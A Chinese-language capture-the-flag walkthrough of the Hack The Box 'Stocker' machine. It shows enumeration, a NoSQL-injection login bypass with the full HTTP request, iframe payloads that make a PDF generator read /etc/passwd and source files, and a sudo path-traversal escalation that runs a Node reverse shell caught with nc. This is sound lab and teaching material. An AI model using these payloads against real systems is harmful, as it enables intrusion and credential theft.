靶机地址:
https://app.hackthebox.com/machines/Stocker
枚举
使用nmap枚举靶机
nmap -sC -sV 10.10.11.196
机子开放了22,80端口,我们本地解析一下这个域名
echo "10.10.11.196 stocker.htb" >> /etc/hosts
去浏览器访问这个网站
发现只是一个单一的网页,并没有其他的功能,插件也很少
现在扫一下目录和子域名,但是目录并没有扫到什么有用的东西
但是扫描到一个子域名
./gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u stocker.htb
本地dns解析后去访问这个子域名
echo "10.10.11.196 dev.stocker.htb" >> /etc/hosts
CVE-2020-24815获取用户shell
这是一个登录页面
多半是用nodejs写的
然后我扫描了一下目录,没有什么可以利用的东西
看了就是要想办法去突破这个登录页面了,网站是nodejs写的,然后我去Google上搜索了一下关于nodejssql注入的内容,然后发现了这篇文章
https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass
我们可以尝试绕过这个登录页面,启动burp,然后抓登录包
需要把Content-Type标头改为json数据,然后在下面输入payload
POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Length: 19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dev.stocker.htb
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dev.stocker.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3A0B2QllbQJO8s_zE5apJUSgndnyzmdVi3.USjl%2BHhDYbne%2BUwk2861GQIHQ84D5cK%2FIgJhJl%2Bo5sY
Connection: close
{"username": {"$ne": null}, "password": {"$ne": null} }
成功登录,我们这是一个购物网站,现在买一个东西看看有没有突破点
提交订单后它会生成一个pdf文件
到这里我测试了很多东西,这个购物网站的功能很少,页面也很少,sql,rce,什么的都测试了一下,还是不行,我会看burp的http历史的时候发现了一个api请求
这是我们提交商品的时候请求的信息,之后就会生成一个pdf文件,我尝试修改了一下title标签,发现生成的pdf文件对应的地方也会变
这里我想到了很多种漏洞的利用,我把pdf下载下来然后用exiftools工具分析后发现了突破点
https://techkranti.com/ssrf-aws-metadata-leakage/
https://www.triskelelabs.com/blog/extracting-your-aws-access-keys-through-a-pdf-file
它存在ssrf漏洞,可以通过一些特定的方式来读取本地上的文件
现在我们尝试读取一下靶机上的/etc/passwd文件
<iframe src=file:///etc/passwd height=1050px width=800px</iframe>
成功利用了,现在我们读取一下nginx的默认配置
<iframe src=file:///etc/nginx/nginx.conf height=1050px width=800px</iframe>
这个网站的源代码在/var/www/dev目录下,我们读取一些配置文件看看能不能找到什么有用的东西
<iframe src=file:var/www/dev/index.js height=1050px width=800px</iframe>
通过前面读取/etc/passwd,发现这个机子上有两个普通用户,一个是mongodb,一个是angoose,我们读取了配置文件,发现了一个疑似密码的字符串
但是mongodb用户无法用这个密码登录上,angoose可以
目录遍历提权
在日常查看用户能用sudo命令运行什么工具时,发现了突破点
我们可以用sudo命令运行node工具,执行在/usr/loacl/scripts目录下的文件,但是我们可以用目录遍历来绕过这个限制
我们在这个网站上生成一个nodejs的rev shellcode
https://www.revshells.com/
然后在当前目录下创建一个.js文件,将这些代码粘贴进去即可
touch baimao.js
nc监听端口
回到靶机执行命令
sudo node /usr/local/scripts/../../../home/angoose/baimao.js
版权归原作者 Ba1_Ma0 所有, 如有侵权,请联系我们删除。